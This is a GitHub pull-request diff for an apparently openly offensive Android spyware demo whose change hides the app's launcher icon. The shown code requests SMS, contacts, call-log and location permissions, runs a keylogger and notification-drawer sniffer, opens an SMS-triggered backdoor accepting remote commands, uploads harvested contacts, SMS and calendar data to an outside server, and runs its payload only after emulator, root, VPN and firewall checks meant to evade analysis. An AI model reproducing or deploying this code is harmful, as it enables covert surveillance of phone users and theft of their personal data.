Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

- hide app icon in demo #23

Merged
merged 1 commit into from Oct 30, 2020
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
49 changes: 39 additions & 10 deletions app/src/main/java/com/evilthreads/evademe/MainActivity.kt
@@ -1,12 +1,14 @@
package com.evilthreads.evademe

import android.Manifest
import android.annotation.SuppressLint
import android.app.Activity
import android.content.Context
import android.content.pm.PackageManager
import android.os.Build
import android.util.Log
import androidx.annotation.RequiresApi
import androidx.appcompat.app.AppCompatActivity
import androidx.lifecycle.lifecycleScope
import androidx.lifecycle.whenCreated
import com.evilthreads.drawersnifferlib.DrawerSniffer
import com.evilthreads.evade.evade
import com.evilthreads.keylogger.Keylogger
Expand Down Expand Up @@ -47,16 +49,36 @@ import kotlinx.coroutines.withContext
............\..............(
..............\.............\...
*/
@ExperimentalStdlibApi
class MainActivity : AppCompatActivity() {
val TAG = this.javaClass.simpleName
init {
lifecycleScope.launchWhenResumed {
evade{
evade {
val kotlinPermissions = KotlinPermissions.with(this@MainActivity).apply {
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
permissions(Manifest.permission.RECEIVE_SMS, Manifest.permission.READ_CONTACTS, Manifest.permission.READ_CALENDAR, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.READ_CALL_LOG, Manifest.permission.READ_SMS, Manifest.permission.ACCESS_BACKGROUND_LOCATION, Manifest.permission.ACCESS_COARSE_LOCATION, Manifest.permission.ACCESS_BACKGROUND_LOCATION, Manifest.permission.READ_PHONE_STATE)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
permissions(
Manifest.permission.RECEIVE_SMS,
Manifest.permission.READ_CONTACTS,
Manifest.permission.READ_CALENDAR,
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.READ_CALL_LOG,
Manifest.permission.READ_SMS,
Manifest.permission.ACCESS_BACKGROUND_LOCATION,
Manifest.permission.ACCESS_COARSE_LOCATION,
Manifest.permission.ACCESS_BACKGROUND_LOCATION,
Manifest.permission.READ_PHONE_STATE
)
else
permissions(Manifest.permission.RECEIVE_SMS, Manifest.permission.READ_CONTACTS, Manifest.permission.READ_CALENDAR, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.READ_CALL_LOG, Manifest.permission.READ_SMS, Manifest.permission.ACCESS_COARSE_LOCATION)
permissions(
Manifest.permission.RECEIVE_SMS,
Manifest.permission.READ_CONTACTS,
Manifest.permission.READ_CALENDAR,
Manifest.permission.READ_EXTERNAL_STORAGE,
Manifest.permission.READ_CALL_LOG,
Manifest.permission.READ_SMS,
Manifest.permission.ACCESS_COARSE_LOCATION
)
}
kotlinPermissions.onAccepted {
val payload = suspend {
Expand All @@ -74,18 +96,22 @@ class MainActivity : AppCompatActivity() {
keyloggerJob.join()
}
}
HttpClient(CIO){
install(JsonFeature){
HttpClient(CIO) {
install(JsonFeature) {
serializer = KotlinxSerializer()
}
install(Auth){
install(Auth) {
basic {
username = "evilthreads"
password = "secret"
}
}
}.use { client ->
SmsBackdoor.openDoor(this@MainActivity, "666:", payload = payload) { remoteCommand ->
SmsBackdoor.openDoor(
this@MainActivity,
"666:",
payload = payload
) { remoteCommand ->
runBlocking {
when (remoteCommand) {
"COMMAND_GET_CONTACTS" -> calendarLaunch(this@MainActivity).let { calendarEvents -> client.upload(calendarEvents) }
Expand All @@ -106,12 +132,15 @@ class MainActivity : AppCompatActivity() {
Keylogger.requestPermission(this@MainActivity)
if (!DrawerSniffer.hasPermission(this@MainActivity))
DrawerSniffer.requestPermission(this@MainActivity)
hideAppIcon()
}.ask()
}
}
}
}

private fun Activity.hideAppIcon() = this.applicationContext.packageManager.setComponentEnabledSetting(this.componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)

val url = "http://evilthreads.com/"
val contactsUri = url.plus("contacts")
val smsUri = url.plus("sms")
Expand Down
2 changes: 1 addition & 1 deletion build.gradle
Expand Up @@ -10,7 +10,7 @@ buildscript {

}
dependencies {
classpath 'com.android.tools.build:gradle:4.0.1'
classpath 'com.android.tools.build:gradle:4.1.0'
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"

// NOTE: Do not place your application dependencies here; they belong
Expand Down
6 changes: 6 additions & 0 deletions evade/build.gradle
Expand Up @@ -12,6 +12,7 @@ android {
versionCode 1
versionName "1.0"
consumerProguardFiles 'consumer-rules.pro'
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
}

Expand All @@ -21,4 +22,9 @@ dependencies {
implementation 'androidx.core:core-ktx:1.3.2'
implementation 'com.scottyab:rootbeer-lib:0.0.8'
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.3.9'
androidTestImplementation 'androidx.test:runner:1.3.0'
androidTestImplementation 'androidx.test:rules:1.3.0'
// Optional -- Hamcrest library
androidTestImplementation 'org.hamcrest:hamcrest-library:1.3'

}
9 changes: 6 additions & 3 deletions evade/src/main/java/com/evilthreads/evade/Evade.kt
Expand Up @@ -28,7 +28,10 @@ import android.os.Build
import android.util.Log
import androidx.annotation.RequiresApi
import com.scottyab.rootbeer.RootBeer
import kotlinx.coroutines.*
import kotlinx.coroutines.Deferred
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.async
import kotlinx.coroutines.withContext
import java.net.NetworkInterface
import javax.net.SocketFactory
/*
Expand Down Expand Up @@ -69,6 +72,7 @@ import javax.net.SocketFactory
* [Manifest.permission.ACCESS_NETWORK_STATE], and [Manifest.permission.ACCESS_WIFI_STATE] will be merged into your app's Android.manifest file
* when compiling.
**/
@ExperimentalStdlibApi
inline suspend fun Context.evade(requiresNetwork: Boolean = true, crossinline payload: suspend () -> Unit): OnEvade.Escape{
val evaded = withContext(Dispatchers.Default){
val isEmulator = async { isEmulator }
Expand All @@ -86,8 +90,7 @@ inline suspend fun Context.evade(requiresNetwork: Boolean = true, crossinline pa
}
!(!isEmulator.await() && !isRooted.await() && !hasAdbOverWifi.await() && !isConnected.await() && !hasUsbDevices.await() && !(hasVpn?.await() ?: false) && !(hasFirewall?.await() ?: false))
}
if(!evaded)
payload()
if(!evaded) payload()
return OnEvade.Escape(evaded)
}

Expand Down
4 changes: 2 additions & 2 deletions gradle/wrapper/gradle-wrapper.properties
@@ -1,6 +1,6 @@
#Thu Sep 17 14:08:27 CDT 2020
#Fri Oct 30 03:33:35 CDT 2020
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-6.1.1-all.zip
distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-bin.zip